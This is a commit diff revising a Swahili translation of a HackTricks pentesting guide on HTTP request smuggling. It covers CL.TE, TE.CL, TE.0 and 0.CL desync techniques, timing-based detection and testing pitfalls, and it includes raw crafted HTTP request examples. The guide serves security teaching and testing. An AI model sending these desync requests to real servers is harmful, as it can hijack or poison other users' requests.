Translated ['src/pentesting-web/http-request-smuggling/README.md'] to sw

2025-10-10 18:36:50 +00:00 · 2025-09-05 11:39:33 +00:00 · 2025-09-05 11:39:33 +00:00 · 84ad487489
commit 84ad487489
parent 4c279d83d8
1 changed files with 195 additions and 197 deletions
--- a/src/pentesting-web/http-request-smuggling/README.md
+++ b/src/pentesting-web/http-request-smuggling/README.md
@ -3,10 +3,10 @@
 {{#include ../../banners/hacktricks-training.md}}


-## Ni Nini
+## Ni nini

-Udhaifu huu hutokea wakati kuna **desyncronization** kati ya **front-end proxies** na **back-end** server ikimruhusu **attacker** **kutuma** HTTP **request** ambayo itatafsiriwa kama **single request** na **front-end** proxies (load balance/reverse-proxy) na **kama 2 request** na **back-end** server.\
-Hii inamruhusu mtumiaji **kubadilisha request inayofuata itakayofika kwenye back-end server baada ya yake**.
+Udhaifu huu hutokea wakati kuna **desyncronization** kati ya **front-end proxies** na **back-end** server inaporuhusu **attacker** **send** HTTP **request** itakayokuwa **interpreted** kama **single request** na **front-end** proxies (load balance/reverse-proxy) na **as 2 request** na **back-end** server.\
+Hii inaruhusu mtumiaji **modify the next request that arrives to the back-end server after his**.

 ### Nadharia

@ -23,59 +23,59 @@ Hii inamruhusu mtumiaji **kubadilisha request inayofuata itakayofika kwenye back
 > The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\
 > Chunked means that large data is sent in a series of chunks

-### Uhalisia
+### Ukweli

-The **Front-End** (a load-balance / Reverse Proxy) **process** the _**content-length**_ au _**transfer-encoding**_ header na **Back-end** server **inaprocesi nyingine**, ikisababisha **desyncronization** kati ya mifumo miwili.\
-Hii inaweza kuwa hatari sana kwani **attacker** ataweza kutuma request moja kwa reverse proxy ambayo itatafsiriwa na **back-end** server **kama requests 2 tofauti**. Hatari ya mbinu hii ni kwamba **back-end** server itaona request ya pili iliyochanganywa kana kwamba **ilitoka kwa mteja mwingine** na request halisi ya mteja huyo itakuwa sehemu ya request iliyochanganywa.
+The **Front-End** (a load-balance / Reverse Proxy) **process** the _**content-length**_ or the _**transfer-encoding**_ header na **Back-end** server **process the other** one, ikisababisha **desyncronization** kati ya mifumo miwili.\
+Hii inaweza kuwa hatari sana kwa sababu **an attacker will be able to send one request** kwa reverse proxy ambayo ita **interpreted** na **back-end** server **as 2 different requests**. Hatari ya teknik hii iko katika ukweli kwamba **back-end** server **will interpret** **the 2nd request injected** kana kwamba **came from the next client** na **real request** ya mteja huyo itakuwa **part** ya **injected request**.

-### Maelezo Maalum
+### Maelezo maalum

-Kumbuka kuwa katika HTTP **new line character inaundwa na bytes 2:**
+Kumbuka kwamba katika HTTP **a new line character is composed by 2 bytes:**

- **Content-Length**: Header hii inatumia **nambari ya desimali** kuonyesha **idadi ya bytes** za **body** ya request. Body inatarajiwa kumalizika kwa tabia ya mwisho; **newline haifai mwishoni mwa request**.
- **Transfer-Encoding:** Header hii inatumia katika **body** **nambari ya hexadecimal** kuonyesha **idadi ya bytes** za **chunk inayofuata**. **Chunk** inapaswa **kumalizika** kwa **newline** lakini newline hii **haisi kuhesabiwa** na kipimo cha urefu. Mbinu hii ya uhamisho lazima imalizike na **chunk ya ukubwa 0 ikifuatiwa na new lines 2**: `0`
- **Connection**: Kutokana na uzoefu wangu inapendekezwa kutumia **`Connection: keep-alive`** kwenye request ya kwanza ya request Smuggling.
+- **Content-Length**: Header hii inatumia **decimal number** kuonyesha **number** ya **bytes** za **body** ya request. Mwili unatarajiwa kumalizika kwa tabia ya mwisho; **a new line is not needed in the end of the request**.
+- **Transfer-Encoding:** Header hii hutumia kwenye **body** **hexadecimal number** kuashiria **number** ya **bytes** za **next chunk**. **Chunk** lazima **end** na **new line** lakini new line hii **isn't counted** na indiketa ya urefu. Mbinu hii ya transfer lazima iishe kwa **chunk of size 0 followed by 2 new lines**: `0`
+- **Connection**: Kulingana na uzoefu wangu inashauriwa kutumia **`Connection: keep-alive`** kwenye request ya kwanza ya request Smuggling.

-### Inaonekana - Iliyofichwa
+### Visible - Hidden

-Tatizo kuu na http/1.1 ni kwamba maombi yote yanaingia kwenye socket moja ya TCP, hivyo ikiwa kutatokea tofauti kati ya mifumo miwili inayopokea maombi, inawezekana kutuma request moja itakayotendewa kama requests 2 tofauti (au zaidi) na backend ya mwisho (au hata mifumo ya kati).
+Tatizo kuu na http/1.1 ni kwamba maombi yote huingia kwenye socket moja ya TCP, hivyo ikiwa kutatokea tofauti kati ya mifumo miwili inayopokea maombi inawezekana kutuma request moja itakayotendewa kama requests 2 tofauti (au zaidi) na backend ya mwisho (au hata mifumo ya kati).

-**[This blog post](https://portswigger.net/research/http1-must-die)** inaleta njia mpya za kugundua desync attacks kwa mfumo ambazo hazitatazamwa na WAFs. Lengo hapa ni kujaribu kupata tofauti katika majibu kwa kutumia mbinu ambazo zinaweza kusababisha desyncs bila kutilia maanani exploit yoyote.
+**[This blog post](https://portswigger.net/research/http1-must-die)** inaonyesha njia mpya za kugundua desync attacks kwa mfumo ambazo hazitatambulika na WAFs. Kwa hili inatoa tabia za Visible vs Hidden. Lengo katika kesi hii ni kujaribu kupata tofauti katika response kwa kutumia mbinu zinazoweza kusababisha desync bila kwa kweli ku-exploit chochote.

-Kwa mfano, kutuma request na host header ya kawaida na header `" host"`, ikiwa backend itashangaa kuhusu request hii (labda kwa sababu value ya `" host"` si sahihi) inaweza kuonyesha kuwa front-end haikuona header `" host"` wakati back-end ilitumia, jambo linaloashiria desync kati ya front-end na back-end.
+Kwa mfano, kutuma request yenye host header ya kawaida na header " host", ikiwa backend inalalamika kuhusu request hii (labda kwa sababu thamani ya " host" si sahihi) inaweza kumaanisha kuwa front-end haikuona header ya " host" wakati backend uliotumika ulitumia, jambo ambalo linadhaniwa kuwa desync kati ya front-end na backend.

 Hii ingekuwa **Hidden-Visible discrepancy**.

-Kama front-end ingekuwa imezingatia header `" host"` lakini back-end haiku, hii ingeweza kuwa **Visible-Hidden**.
+Iwapo front-end ingekuwa imezingatia header ya " host" lakini front-end haikuifanyia kazi, hii ingeweza kuwa hali ya **Visible-Hidden**.

-Kwa mfano, hii iliruhusu kugundua desyncs kati ya AWS ALB kama front-end na IIS kama backend. Hii ilitokana na ukweli kwamba wakati `"Host: foo/bar"` ilitumwa, ALB ilirudisha `400, Server; awselb/2.0`, lakini wakati `"Host : foo/bar"` ilitumwa, ilirudisha `400, Server: Microsoft-HTTPAPI/2.0`, ikionyesha backend ndiye anayeleta jibu. Hii ni Hidden-Vissible (H-V) situation.
+Kwa mfano, hili liliruhusu kugundua desyncs kati ya AWS ALB kama front-end na IIS kama backend. Hii ilitokea kwa sababu wakati "Host: foo/bar" ilitumwa, ALB ilirejesha `400, Server; awselb/2.0`, lakini wakati "Host : foo/bar" ilitumwa, ilirudisha `400, Server: Microsoft-HTTPAPI/2.0`, ikionyesha backend ilituma response. Hii ni Hidden-Vissible (H-V) situation.

-Kumbuka kuwa hali hii haijarekebishwa kwenye AWS, lakini inaweza kuzuiwa kwa kuweka `routing.http.drop_invalid_header_fields.enabled` na `routing.http.desync_mitigation_mode = strictest`.
+Kumbuka kuwa hali hii haijatengenezwa kwenye AWS, lakini inaweza kuzuiwa kwa kuweka `routing.http.drop_invalid_header_fields.enabled` na `routing.http.desync_mitigation_mode = strictest`.


 ## Mifano ya Msingi

 > [!TIP]
-> Unapojaribu ku-exploit hii kwa kutumia Burp Suite **zimia `Update Content-Length` na `Normalize HTTP/1 line endings`** kwenye repeater kwa sababu baadhi ya gadgets hutumia newlines, carriage returns na content-lengths zisizopangwa vizuri.
+> Unapojaribu ku-exploit hili kwa Burp Suite **disable `Update Content-Length` and `Normalize HTTP/1 line endings`** kwenye repeater kwa sababu baadhi ya gadgets hutumia newlines, carriage returns na malformed content-lengths.

-HTTP request smuggling attacks zinaundwa kwa kutuma requests zenye utofauti (ambiguous) zinazotumia tofauti jinsi front-end na back-end servers zinavyotafsiri headers za `Content-Length` (CL) na `Transfer-Encoding` (TE). Attacks hizi zinaweza kuonekana kwa aina tofauti, hasa kama **CL.TE**, **TE.CL**, na **TE.TE**. Kila aina inaonyesha mchanganyiko wa jinsi front-end na back-end zinavyopendelea headers hizi. Udhaifu hutokea wakati servers zinaprosesi request moja kwa njia tofauti, na kusababisha matokeo yasiyotarajiwa na ya uharibifu.
+HTTP request smuggling attacks zinatengenezwa kwa kutuma maombi yenye utata yanayotumia tofauti katika jinsi front-end na back-end servers zinavyotafsiri vichwa vya `Content-Length` (CL) na `Transfer-Encoding` (TE). Attacks hizi zinaweza kuonekana kwa aina mbalimbali, hasa kama **CL.TE**, **TE.CL**, na **TE.TE**. Kila aina inaonyesha mchanganyiko wa kipekee wa jinsi front-end na back-end servers wanavyopendelea vichwa hivi. Udhaifu hutokea kutokana na servers kuchakata ombi moja kwa njia tofauti, na kusababisha matokeo yasiyotegemewa na yenye hatari.

-### Mifano Msingi ya Aina za Udhaifu
+### Mifano ya Msingi ya Aina za Udhaifu

 ![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)

 > [!TIP]
-> Kwa meza iliyotangulia unapaswa kuongeza mbinu ya TE.0, kama mbinu ya CL.0 lakini ikitumia Transfer-Encoding.
+> Kwa meza iliyotangulia unapaswa kuongeza teknik ya TE.0, kama teknik ya CL.0 lakini ukitumia Transfer Encoding.

 #### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

- **Front-End (CL):** Inaprocesi request kulingana na header ya `Content-Length`.
- **Back-End (TE):** Inaprocesi request kulingana na header ya `Transfer-Encoding`.
- **Senario ya Attack:**
+- **Front-End (CL):** Inachakata request kulingana na kichwa cha `Content-Length`.
+- **Back-End (TE):** Inachakata request kulingana na kichwa cha `Transfer-Encoding`.
+- **Attack Scenario:**

- Attacker anatumia request ambapo value ya header ya `Content-Length` hailingani na urefu halisi wa yaliyomo.
- Front-end server inatuma request nzima kwa back-end kulingana na value ya `Content-Length`.
- Back-end server inaprocesi request kama chunked kutokana na header ya `Transfer-Encoding: chunked`, ikitafsiri data iliyobaki kama request tofauti, inayofuata.
+- Attacker anatumia request ambapo thamani ya kichwa cha `Content-Length` haifai na haifai na urefu halisi wa maudhui.
+- Front-end server hufikisha ombi lote kwa back-end, kulingana na thamani ya `Content-Length`.
+- Back-end server huchakata ombi kama chunked kutokana na kichwa cha `Transfer-Encoding: chunked`, akitafsiri data iliyobaki kama request nyingine iliyofuata.
 - **Mfano:**

 ```
@ -93,13 +93,13 @@ Foo: x

 #### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

- **Front-End (TE):** Inaprocesi request kulingana na header ya `Transfer-Encoding`.
- **Back-End (CL):** Inaprocesi request kulingana na header ya `Content-Length`.
- **Senario ya Attack:**
+- **Front-End (TE):** Inachakata request kulingana na kichwa cha `Transfer-Encoding`.
+- **Back-End (CL):** Inachakata request kulingana na kichwa cha `Content-Length`.
+- **Attack Scenario:**

- Attacker anatumia chunked request ambapo chunk size (`7b`) na urefu halisi (`Content-Length: 4`) havilingani.
- Front-end server, ikizingatia `Transfer-Encoding`, inatuma request nzima kwa back-end.
- Back-end server, ikizingatia `Content-Length`, inaprocesi tu sehemu ya awali ya request (`7b` bytes), ikiacha sehemu iliyobaki kuwa sehemu ya request isiyotakiwa inayofuata.
+- Attacker anatumia request ya chunked ambapo chunk size (`7b`) na content halisi (`Content-Length: 4`) hayalingani.
+- Front-end server, akitambua `Transfer-Encoding`, hufikisha ombi lote kwa back-end.
+- Back-end server, akizingatia `Content-Length`, huchakata sehemu tu ya awali ya request (`7b` bytes), ikiacha iliyobaki kuwa sehemu ya request isiyotarajiwa iliyofuata.
 - **Mfano:**

 ```
@ -122,12 +122,12 @@ x=

 #### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

- **Servers:** Zote mbili zinaunga mkono `Transfer-Encoding`, lakini moja inaweza kudanganywa ili kusahau header kwa kutumia obfuscation.
- **Senario ya Attack:**
+- **Servers:** Zote mbili zinaungwa mkono `Transfer-Encoding`, lakini moja inaweza kudanganywa isiitambue kupitia obfuscation.
+- **Attack Scenario:**

- Attacker anatumia request yenye headers za `Transfer-Encoding` zilizofichwa/obfuscated.
- Kulingana na server ambayo (front-end au back-end) haikutambua obfuscation, udhaifu wa CL.TE au TE.CL unaweza kutumika.
- Sehemu isiyoproseswa ya request, kama inavyoonekana na server moja, inakuwa sehemu ya request inayofuata, na kusababisha smuggling.
+- Attacker anatumia request zenye vichwa vya `Transfer-Encoding` vilivyofifishwa.
+- Kutegemea ni server gani (front-end au back-end) itakayoshindwa kutambua obfuscation, CL.TE au TE.CL inaweza kutumiwa.
+- Sehemu isiyotambuliwa ya request, kama inavyoonekana na server moja, inakuwa sehemu ya request iliyofuata, ikisababisha smuggling.
 - **Mfano:**

 ```
@ -149,8 +149,8 @@ Transfer-Encoding

 #### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**

- Servers zote mbili zinaprocesi request kulingana tu na header ya `Content-Length`.
- Hali hii kwa kawaida haitoi nafasi ya smuggling, kwani kuna muafaka katika jinsi servers zote zinavyothibitisha urefu wa request.
+- Servers zote mbili zinachakata request kulingana na kichwa cha `Content-Length`.
+- Hali hii kwa kawaida haileti smuggling, kwa kuwa kuna muingiliano katika jinsi servers zote mbili zinaelewa urefu wa request.
 - **Mfano:**

 ```
@ -164,8 +164,8 @@ Normal Request

 #### **CL.0 Scenario**

- Inahusu senario ambapo header ya `Content-Length` ipo na ina thamani tofauti na sifuri, ikionyesha kuwa body ya request ina yaliyomo. Back-end hupuuza header ya `Content-Length` (inachukuliwa kama 0), lakini front-end inailenga.
- Hii ni muhimu kuelewa na kutengeneza smuggling attacks, kwani inaathiri jinsi servers zinavyobaini mwisho wa request.
+- Inarejelea matukio ambapo kichwa cha `Content-Length` kipo na kina thamani isiyo sifuri, ikionyesha kuwa body ya request ina maudhui. Back-end inapuuzia kichwa cha `Content-Length` (kinachochukuliwa kuwa 0), lakini front-end inalichambua.
+- Ni muhimu kuelewa na kutengeneza smuggling attacks, kwani huathiri jinsi servers zinavyoamua mwisho wa request.
 - **Mfano:**

 ```
@ -179,7 +179,7 @@ Non-Empty Body

 #### TE.0 Scenario

- Kama iliyotangulia lakini ikitumia TE.
+- Kama ilivyo hapo juu lakini ukitumia TE.
 - Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
 - **Mfano**:
 ```
@ -199,9 +199,9 @@ x: X
 EMPTY_LINE_HERE
 EMPTY_LINE_HERE
 ```
-#### `0.CL` Hali
+#### `0.CL` Senario

-Katika hali ya `0.CL`, request inatumwa na Content-Length ifuatayo:
+Katika senario ya `0.CL`, request imetumwa na Content-Length kama ifuatavyo:
 ```
 GET /Logon HTTP/1.1
 Host: <redacted>
@ -211,47 +211,47 @@ Content-Length:
 GET /404 HTTP/1.1
 X: Y
 ```
-Na front-end haizingatii `Content-Length` kwa hivyo inatuma ombi la kwanza tu kwa backend (hadi 7 katika mfano). Hata hivyo, backend inaona `Content-Length` na inasubiri body ambayo haiwahi kufika kwa sababu front-end tayari inasubiri response.
+Na front-end haizingatii `Content-Length`, hivyo inatuma tu ombi la kwanza kwa backend (hadi 7 katika mfano). Hata hivyo, backend inaona `Content-Length` na inasubiri body ambayo haitafika kwa sababu front-end tayari inasubiri jibu.

-Hata hivyo, ikiwa kuna ombi ambalo linawezekana kutumwa kwa backend ambalo linajibiwa kabla ya kupokea body ya ombi, deadlock hii haitatokea. Katika IIS kwa mfano hili hutokea kutuma maombi kwa maneno yaliyokatazwa kama `/con` (angalia [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)), kwa njia hii, ombi la awali litajibiwa moja kwa moja na ombi la pili litakuwa na ombi la mwathiriwa kama:
+Walakini, ikiwa kuna ombi ambalo linaweza kutumwa kwa backend na linajibiwa kabla ya kupokea body ya ombi, mkwamo huu hautokee. Katika IIS kwa mfano hili hutokea unapotuma maombi kwa maneno marufuku kama `/con` (check the [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)), kwa njia hii, ombi la awali litajibiwa moja kwa moja na ombi la pili litakuwa na ombi la mwathiriwa kama:
 ```
 GET / HTTP/1.1
 X: yGET /victim HTTP/1.1
 Host: <redacted>
 ```
-Hii ni muhimu kusababisha desync, lakini haikuwa na athari hadi sasa.
+Hii ni muhimu kusababisha desync, lakini haijakuwa na athari hadi sasa.

-Hata hivyo, chapisho linatoa suluhisho kwa hili kwa kubadilisha **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**.
+Hata hivyo, chapisho linatoa suluhisho kwa kubadilisha **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**.

-#### Kuvunja seva ya wavuti
+#### Kuvunja web server

-Mbinu hii pia inatumika katika mazingira ambapo inawezekana **kusababisha seva ya wavuti kuvunjika wakati wa kusoma data za awali za HTTP** lakini **bila kufunga muunganisho**. Kwa njia hii, **body** ya HTTP request itachukuliwa kama **next HTTP request**.
+Mbinu hii pia ni muhimu katika mazingira ambapo inawezekana **kuvunja web server wakati wa kusoma data za awali za HTTP** lakini **bila kufunga muunganisho**. Kwa njia hii, **mwili** wa ombi la HTTP utachukuliwa kama **ombi la HTTP lijalo**.

-Kwa mfano, kama ilivyoelezwa katika [**this writeup**](https://mizu.re/post/twisty-python), katika Werkzeug ilikuwa inawezekana kutuma baadhi ya herufi za **Unicode** na itaifanya seva **ivunjike**. Hata hivyo, kama HTTP connection iliumbwa na header **`Connection: keep-alive`**, body ya request haitasomwa na connection itaendelea kuwa wazi, hivyo **body** ya request itachukuliwa kama **next HTTP request**.
+Kwa mfano, kama ilivyoelezwa katika [**this writeup**](https://mizu.re/post/twisty-python), katika Werkzeug ilikuwa inawezekana kutuma baadhi ya herufi za **Unicode** na hiyo itaifanya server **kuvunjika**. Walakini, ikiwa muunganisho wa HTTP ulikuwa umeundwa kwa header **`Connection: keep-alive`**, mwili wa ombi hautasomwa na muunganisho utaendelea kuwa wazi, hivyo **mwili** wa ombi utachukuliwa kama **ombi la HTTP lijalo**.

-#### Kuamsha kupitia hop-by-hop headers
+#### Kuamisha kupitia hop-by-hop headers

-Kwa kutumia kwa njia mbaya hop-by-hop headers unaweza kumshawishi proxy kufuta header Content-Length au Transfer-Encoding, hivyo **kufuta header Content-Length au Transfer-Encoding ili kuwezesha HTTP request smuggling kutumiwa**.
+Kwa kutumia ovyo hop-by-hop headers unaweza kuonyesha proxy **kufuta header Content-Length au Transfer-Encoding ili HTTP request smuggling iweze kutumiwa**.
 ```
 Connection: Content-Length
 ```
-For **more information about hop-by-hop headers** visit:
+Kwa **maelezo zaidi kuhusu hop-by-hop headers** tembelea:


 {{#ref}}
 ../abusing-hop-by-hop-headers.md
 {{#endref}}

-## Kupata HTTP Request Smuggling
+## Kutambua HTTP Request Smuggling

-Kutambua udhaifu wa HTTP request smuggling mara nyingi kunaweza kufanikiwa kwa kutumia mbinu za kupima muda (timing techniques), ambazo zinategemea kuchunguza ni muda gani server inachukua kujibu requests zilizobadilishwa. Mbinu hizi zinafaa hasa kugundua udhaifu wa CL.TE na TE.CL. Mbali na mbinu hizi, kuna mikakati na zana nyingine zinazoweza kutumika kupata udhaifu huo:
+Kutambua vulnerabilities za HTTP request smuggling mara nyingi kunaweza kufanywa kwa kutumia timing techniques, ambazo zinategemea kuangalia ni muda gani server inachukua kujibu requests zilizotumika. Mbinu hizi ni hasa muhimu kwa kugundua CL.TE na TE.CL vulnerabilities. Mbali na mbinu hizi, kuna mikakati na zana nyingine zinazoweza kutumika kutafuta vulnerabilities hizi:

-### Kupata udhaifu za CL.TE kwa kutumia mbinu za kupima muda
+### Kupata CL.TE Vulnerabilities Using Timing Techniques

- **Njia:**
+- **Method:**

- Tuma ombi ambalo, ikiwa application ina udhaifu, litasababisha back-end server kusubiri data ya ziada.
- **Mfano:**
+- Tuma request ambayo, ikiwa application iko vunerable, itaifanya back-end server kusubiri data ya ziada.
+- **Example:**

 ```
 POST / HTTP/1.1
@ -265,20 +265,20 @@ A
 0
 ```

- **Uchunguzi:**
- Front-end server inachakata ombi kulingana na `Content-Length` na kukata ujumbe mapema.
- Back-end server, ambayo inatarajia ujumbe wa chunked, inasubiri chunk inayofuata ambayo haijafika, ikisababisha ucheleweshaji.
+- **Observation:**
+- Front-end server inashughulikia request kulingana na `Content-Length` na kukata ujumbe mapema.
+- Back-end server, ikitarajia ujumbe wa chunked, inasubiri chunk inayofuata ambayo haisindikii, na kusababisha kuchelewa.

- **Viashiria:**
- Timeouts au ucheleweshaji mrefu wa majibu.
- Kupata hitilafu 400 Bad Request kutoka kwa back-end server, wakati mwingine ikijumuisha taarifa za kina kuhusu server.
+- **Indicators:**
+- Timeouts au ucheleweshaji mrefu katika majibu.
+- Kupokea 400 Bad Request kutoka kwa back-end server, mara nyingine kwa taarifa za kina za server.

-### Kupata udhaifu za TE.CL kwa kutumia mbinu za kupima muda
+### Kupata TE.CL Vulnerabilities Using Timing Techniques

- **Njia:**
+- **Method:**

- Tuma ombi ambalo, ikiwa application ina udhaifu, litasababisha back-end server kusubiri data ya ziada.
- **Mfano:**
+- Tuma request ambayo, ikiwa application iko vunerable, itaifanya back-end server kusubiri data ya ziada.
+- **Example:**

 ```
 POST / HTTP/1.1
@ -291,24 +291,24 @@ Content-Length: 6
 X
 ```

- **Uchunguzi:**
- Front-end server inachakata ombi kulingana na `Transfer-Encoding` na kupeleka ujumbe mzima mbele.
- Back-end server, ambayo inatarajia ujumbe kulingana na `Content-Length`, inasubiri data ya ziada ambayo haijafika, ikisababisha ucheleweshaji.
+- **Observation:**
+- Front-end server inashughulikia request kulingana na `Transfer-Encoding` na kupeleka ujumbe wote kwa mbele.
+- Back-end server, ikitarajia ujumbe kulingana na `Content-Length`, inasubiri data ya ziada ambayo haisindikii, na kusababisha kuchelewa.

-### Mbinu nyingine za kupata udhaifu
+### Mbinu Nyingine za Kupata Vulnerabilities

 - **Differential Response Analysis:**
- Tuma matoleo kidogo tofauti ya ombi na uangalie kama majibu ya server yanatofautiana kwa njia isiyotarajiwa, ikionyesha kutofanana kwa jinsi yanavyopangwa.
+- Tuma matoleo kidogo tofauti ya request na uangalie kama majibu ya server yanatofautiana kwa njia isiyotarajiwa, ikionyesha kutofautiana katika parsing.
 - **Using Automated Tools:**
- Zana kama Burp Suite's 'HTTP Request Smuggler' extension zinaweza kujaribu kiautomatic udhaifu hizi kwa kutuma aina mbalimbali za requests zilizo na utata na kuchambua majibu.
+- Zana kama extension ya Burp Suite 'HTTP Request Smuggler' zinaweza kujaribu kiotomatiki vulnerabilities hizi kwa kutuma aina mbalimbali za requests zenye utata na kuchambua majibu.
 - **Content-Length Variance Tests:**
- Tuma requests zenye thamani tofauti za `Content-Length` ambazo hazilingani na urefu halisi wa maudhui na uangalie jinsi server inavyoshughulikia tofauti hizi.
+- Tuma requests zenye thamani tofauti za `Content-Length` ambazo hazilingani na urefu halisi wa content na uangalie jinsi server inavyoshughulikia mismatch kama hizo.
 - **Transfer-Encoding Variance Tests:**
- Tuma requests zenye `Transfer-Encoding` zilizofichwa au zilizovurugika na angaa jinsi front-end na back-end servers zinavyoitenda kwa namna tofauti kutokana na uchezaji huo.
+- Tuma requests zenye `Transfer-Encoding` zilizofichwa au zilizoharibika na subiri kuona jinsi front-end na back-end servers zinavyotofautiana katika kujibu mabadiliko hayo.

 ### The `Expect: 100-continue` header

-Angalia jinsi header hii inaweza kusaidia ku-exploit http desync katika:
+Kagua jinsi header hii inaweza kusaidia kutekeleza http desync katika:

 {{#ref}}
 ../../network-services-pentesting/pentesting-web/special-http-headers.md
@ -316,25 +316,25 @@ Angalia jinsi header hii inaweza kusaidia ku-exploit http desync katika:

 ### HTTP Request Smuggling Vulnerability Testing

-Baada ya kuthibitisha ufanisi wa mbinu za kupima muda, ni muhimu kuthibitisha kama requests za client zinaweza kubadilishwa. Njia rahisi ni kujaribu kuchanganya (poison) requests zako, kwa mfano, kufanya ombi kwa `/` lipatie majibu ya 404. Mifano ya `CL.TE` na `TE.CL` iliyojadiliwa hapo awali katika [Basic Examples](#basic-examples) inaonyesha jinsi ya kuchanganya ombi la mteja ili kupata jibu la 404, licha ya mteja kulenga rasilimali tofauti.
+Baada ya kuthibitisha ufanisi wa timing techniques, ni muhimu kuthibitisha kama client requests zinaweza kuathiriwa. Njia rahisi ni kujaribu kuchoma (poison) requests zako, kwa mfano, kufanya request kwa `/` ipate jibu la 404. Mifano ya `CL.TE` na `TE.CL` iliyotajwa hapo awali katika [Basic Examples](#basic-examples) inaonyesha jinsi ya kuchoma request ya mteja ili kupata jibu la 404, licha ya mteja kujaribu kufikia rasilimali nyingine.

-**Mambo Muhimu ya Kuzingatia**
+**Masuala Muhimu**

-Unapojaribu request smuggling kwa kuingilia requests za wengine, zingatia:
+Unapotest kwa request smuggling kwa kuingilia requests za wengine, kumbuka:

- **Distinct Network Connections:** Maombi ya "attack" na "normal" yanapaswa kutumwa kupitia muunganisho tofauti wa mtandao. Kutumia muunganisho ule ule kwa yote mawili hakuthibitishi kuwepo kwa udhaifu.
- **Consistent URL and Parameters:** Lenga kutumia URLs na majina ya parameters sawa kwa maombi yote mawili. Programu za kisasa mara nyingi zinaelekeza requests kwa back-end servers maalum kulingana na URL na parameters. Kuwa na ulinganifu huu kunaongeza uwezekano kwamba maombi yote mawili yatashughulikiwa na server ile ile, jambo muhimu kwa shambulio kufaulu.
- **Timing and Racing Conditions:** Ombi la "normal", linalokusudia kugundua kuingiliwa na ombi la "attack", linashindana na requests nyingine zinazoendeshwa kwa wakati huo. Kwa hivyo, tuma ombi la "normal" mara moja baada ya ombi la "attack". Programu zilizo na shughuli nyingi zinaweza kuhitaji majaribio mengi ili kuthibitisha udhaifu.
- **Load Balancing Challenges:** Front-end servers zinazofanya kama load balancers zinaweza kugawanya requests kwa back-end systems mbalimbali. Ikiwa maombi ya "attack" na "normal" yanamalizika kwenye systems tofauti, shambulio halitaenda. Kipengele hiki cha load balancing kinaweza kuhitaji majaribio kadhaa ili kuthibitisha udhaifu.
- **Unintended User Impact:** Ikiwa shambulio lako kwa bahati mbaya linaathiri ombi la mtumiaji mwingine (sio ombi la "normal" ulilotuma kwa kugundua), hii inaonyesha shambulio lako limeathiri mtumiaji mwingine wa programu. Kupitiliza kujaribu kunaweza kuvuruga watumiaji wengine; kwa hivyo kuwa mwangalifu.
+- **Distinct Network Connections:** Requests za "attack" na "normal" zinapaswa kutumwa kupitia network connections tofauti. Kutumia connection moja kwa zote mbili hakiathibitishi kuwepo kwa vulnerability.
+- **Consistent URL and Parameters:** Lenga kutumia URLs na majina ya parameter sawa kwa requests zote mbili. Applications za kisasa mara nyingi zinaelekeza requests kwa back-end servers maalum kulingana na URL na parameter. Kuwalinganisha kunoongeza uwezekano kuwa requests zote mbili zitatibiwa na server ileile, jambo muhimu kwa kufanikiwa kwa attack.
+- **Timing and Racing Conditions:** Request ya "normal", inayokusudiwa kugundua kuingiliwa na request ya "attack", inashindana na requests nyingine zinazoendelea za application. Kwa hiyo, tuma request ya "normal" mara tu baada ya request ya "attack". Applications zenye shughuli nyingi zinaweza kuhitaji majaribio mara kwa mara ili kupata uthibitisho.
+- **Load Balancing Challenges:** Front-end servers zinazofanya kama load balancers zinaweza kugawa requests kwa back-end systems mbalimbali. Ikiwa requests za "attack" na "normal" zinaisha kwenye systems tofauti, attack haitafanikiwa. Kipengele cha load balancing kinaweza kuhitaji majaribio kadhaa ili kuthibitisha vulnerability.
+- **Unintended User Impact:** Ikiwa attack yako bila kukusudia inaathiri request ya mtumiaji mwingine (siyo request ya "normal" uliotuma kwa ugunduzi), hii inaonyesha attack yako imeathiri mtumiaji mwingine wa application. Kuendelea kujaribu kunaweza kuvuruga watumiaji wengine, hivyo inashauriwa kuwa mwangalifu.

-## Kutofautisha artifacts za pipelining za HTTP/1.1 dhidi ya request smuggling halisi
+## Kutofautisha artifacts za HTTP/1.1 pipelining dhidi ya request smuggling halisi

-Connection reuse (keep-alive) na pipelining vinaweza kwa urahisi kuunda udanganyifu wa "smuggling" katika zana za mtihani zinazotuma maombi mengi kwenye socket moja. Jifunze kutenganisha artifacts zisizo hatari za upande wa client na desync halisi ya upande wa server.
+Connection reuse (keep-alive) na pipelining inaweza kwa urahisi kuleta dhana za "smuggling" katika zana za testing ambazo zinatuma requests nyingi kwenye socket moja. Jifunze kutenganisha artifacts zisizo hatari za client-side dhidi ya desync halisi ya server-side.

-### Kwa nini pipelining huunda false positives za kawaida
+### Kwa nini pipelining inaunda false positives za kawaida

-HTTP/1.1 inarudisha matumizi ya muunganisho mmoja wa TCP/TLS na kuunganisha requests na responses kwenye mtiririko ule ule. Katika pipelining, client inatuma requests nyingi mfululizo na kutegemea majibu kwa mpangilio. False-positive ya kawaida ni kutuma tena payload iliyokosewa ya mtindo CL.0 mara mbili kwenye muunganisho mmoja:
+HTTP/1.1 inarudisha matumizi ya TCP/TLS connection moja na kuunganisha requests na responses kwenye stream moja. Katika pipelining, client inatuma requests nyingi moja baada ya nyingine na kutegemea majibu kwa mtiririko huo. False-positive ya kawaida ni kutuma tena payload iliyoharibika ya CL.0-style mara mbili kwenye connection moja:
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@ -343,7 +343,7 @@ Content_Length: 47
 GET /robots.txt HTTP/1.1
 X: Y
 ```
